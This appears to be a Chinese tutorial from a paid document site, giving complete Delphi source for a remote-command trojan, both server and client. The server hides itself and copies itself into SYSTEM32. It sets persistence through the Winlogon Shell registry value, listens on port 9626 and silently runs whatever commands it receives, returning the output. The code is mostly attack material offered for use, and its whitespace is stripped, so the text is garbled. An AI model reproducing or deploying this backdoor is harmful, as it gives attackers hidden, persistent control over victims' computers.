Delphi写简单远程CMD 木马

Delphi写简单远程CMD木马程序跟传统木马一样,分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面,并在注册表添加一自动行启动项,打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行,最后把回显传送回客户端。客户端很简单,跟服务端连接成功后,输入命令点执行,正常的话可以收到服务端的执行结果了。源码如下:////Server.pas//////////////unitUtMain;//////////////////////////////////////////////BYlanyus////////////////////////Email:greathjw@163////////////QQ:231221///////////////////部分代码从网上收集///////////////////////////////////////////interfaceusesWindows,Messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,Dialogs,Registry,ScktComp,StdCtrls;typeTFmMain=class(TForm)SS:TServerSocket;Memo1:TMemo;procedureFormCreate(Sender:TObject);procedureSSAccept(Sender:TObject;Socket:TCustomWinSocket);procedureSSClientRead(Sender:TObject;Socket:TCustomWinSocket);private{Privatedeclarations}public{Publicdeclarations}end;varFmMain:TFmMain;reg:TRegistry;implementation{$R*.dfm}procedureTFmMain.FormCreate(Sender:TObject);varsysdir:array[0..50]ofchar;beginApplication.ShowMainForm:=False;FmMain.Left:=-200;//运行不显示窗口reg:=TRegistry.Create;reg.RootKey:=HKEY_LOCAL_MACHINE;reg.OpenKey('SoftWare\Microsoft\WindowsNT\CurrentVersion\Winlogon',true);ifreg.ReadString('Shell')<>'Explorer.exeLysvr.exe'thenreg.WriteString('Shell','Explorer.exeLysvr.exe');//建立开机启动项reg.Free;GetSystemDirectory(sysdir,50);ifnotFileExists(sysdir+'\Lysvr.exe')thencopyfile(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true);SS.Port:=9626;trySS.Active:=True;exceptend;end;procedureTFmMain.SSAccept(Sender:TObject;Socket:TCustomWinSocket);beginSocket.SendText('连接成功');//发现有连接时回传‘连接成功’end;procedureTFmMain.SSClientRead(Sender:TObject;Socket:TCustomWinSocket);varRemoteCmd:string;hReadPipe,hWritePipe:THandle;si:STARTUPINFO;lsa:SECURITY_ATTRIBUTES;piROCESS_INFORMATION;cchReadBufferWORD;phChar;fnameChar;res:string;beginMemo1.Clear;remotecmd:=Socket.ReceiveText;fname:=allocmem(255);ph:=AllocMem(5000);lsa.nLength:=sizeof(SECURITY_ATTRIBUTES);lsa.lpSecurityDescriptor:=nil;lsa.bInheritHandle:=True;ifCreatePipe(hReadPipe,hWritePipe,@lsa,0)=falsethenbeginsocket.SendText('不能创建管道');exit;end;fillchar(si,sizeof(STARTUPINFO),0);si.cb:=sizeof(STARTUPINFO);si.dwFlags:=(STARTF_USESTDHANDLESorSTARTF_USESHOWWINDOW);si.wShowWindow:=SW_HIDE;si.hStdOutput:=hWritePipe;StrPCopy(fname,remotecmd);/////执行CMD命令////ifCreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=Falsethenbeginsocket.SendText('不能创建进程');FreeMem(ph);FreeMem(fname);Exit;end;while(true)dobeginifnotPeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil)thenbreak;ifcchReadBuffer<>0thenbeginifReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=falsethenbreak;ph[cchReadbuffer]:=chr(0);Memo1.Lines.Add(ph);endelseif(WaitForSingleObject(pi.hProcess,0)=WAIT_OBJECT_0)thenbreak;Sleep(100);end;ph[cchReadBuffer]:=chr(0);Memo1.Lines.Add(ph);//memo接收回显CloseHandle(hReadPipe);CloseHandle(pi.hThread);CloseHandle(pi.hProcess);CloseHandle(hWritePipe);FreeMem(ph);FreeMem(fname);socket.SendText(Memo1.Text);///将回显发送回客户端end;end./////////////////////////////////////////////////////////////////////////////////////////////////客户端/////////////////////unitUtMain;//////////////////////////////////////////////BYlanyus////////////////////////Email:greathjw@163////////////QQ:231221////////////////////////////////////////////////interfaceusesWindows,Messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,Dialogs,OleCtrls,SHDocVw,StdCtrls,IdBaseComponent,IdComponent,IdUDPBase,IdUDPServer,Buttons,TLHelp32,ScktComp;typeTFmMain=class(TForm)WebBrowser1:TWebBrowser;Label3:TLabel;Edit2:TEdit;Label4:TLabel;Edit3:TEdit;Button2:TButton;CS:TClientSocket;Edit4:TEdit;Label5:TLabel;Memo1:TMemo;BitBtn2:TBitBtn;procedureButton2Click(Sender:TObject);procedureCSRead(Sender:TObject;Socket:TCustomWinSocket);procedureBitBtn2Click(Sender:TObject);private{Privatedeclarations}public{Publicdeclarations}end;varFmMain:TFmMain;implementation{$R*.dfm}procedureTFmMain.Button2Click(Sender:TObject);beginCS.Host:=Edit2.Text;CS.Port:=StrToInt(Edit3.Text);CS.Open;end;procedureTFmMain.CSRead(Sender:TObject;Socket:TCustomWinSocket);beginMemo1.Clear;Memo1.Lines.Add(Socket.ReceiveText);Memo1.Lines.Add('');end;procedureTFmMain.BitBtn2Click(Sender:TObject);beginCS.Socket.SendText(edit4.Text);end;end.

1、当您付费下载文档后,您只拥有了使用权限,并不意味着购买了版权,文档只能用于自身使用,不得用于其他商业用途(如 [转卖]进行直接盈利或[编辑后售卖]进行间接盈利)。
2、本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供参考,付费前请自行鉴别。
3、如文档内容存在侵犯商业秘密、侵犯著作权等,请点击“举报”。

常见问题具体如下:

1、问:已经付过费的文档可以多次下载吗?

      答:可以。登陆您已经付过费的账号,付过费的文档可以免费进行多次下载。

2、问:已经付过费的文档不知下载到什么地方去了?

     答:电脑端-浏览器下载列表里可以找到;手机端-文件管理或下载里可以找到。

            如以上两种方式都没有找到,请提供您的交易单号或截图及接收文档的邮箱等有效信息,发送到客服邮箱,客服经核实后,会将您已经付过费的文档即时发到您邮箱。

注:微信交易号是以“420000”开头的28位数字;

       支付宝交易号是以“2024XXXX”交易日期开头的28位数字。

客服邮箱:

biganzikefu@outlook.com

所有的文档都被视为“模板”,用于写作参考,下载前须认真查看,确认无误后再购买;

文档大部份都是可以预览的,笔杆子文库无法对文档的真实性、完整性、准确性以及专业性等问题提供审核和保证,请慎重购买;

文档的总页数、文档格式和文档大小以系统显示为准(内容中显示的页数不一定正确),网站客服只以系统显示的页数、文件格式、文档大小作为依据;

如果您还有什么不清楚的或需要我们协助,可以联系客服邮箱:

biganzikefu@outlook.com

常见问题具体如下:

1、问:已经付过费的文档可以多次下载吗?

      答:可以。登陆您已经付过费的账号,付过费的文档可以免费进行多次下载。

2、问:已经付过费的文档不知下载到什么地方去了?

     答:电脑端-浏览器下载列表里可以找到;手机端-文件管理或下载里可以找到。

            如以上两种方式都没有找到,请提供您的交易单号或截图及接收文档的邮箱等有效信息,发送到客服邮箱,客服经核实后,会将您已经付过费的文档即时发到您邮箱。

注:微信交易号是以“420000”开头的28位数字;

       支付宝交易号是以“2024XXXX”交易日期开头的28位数字。

确认删除?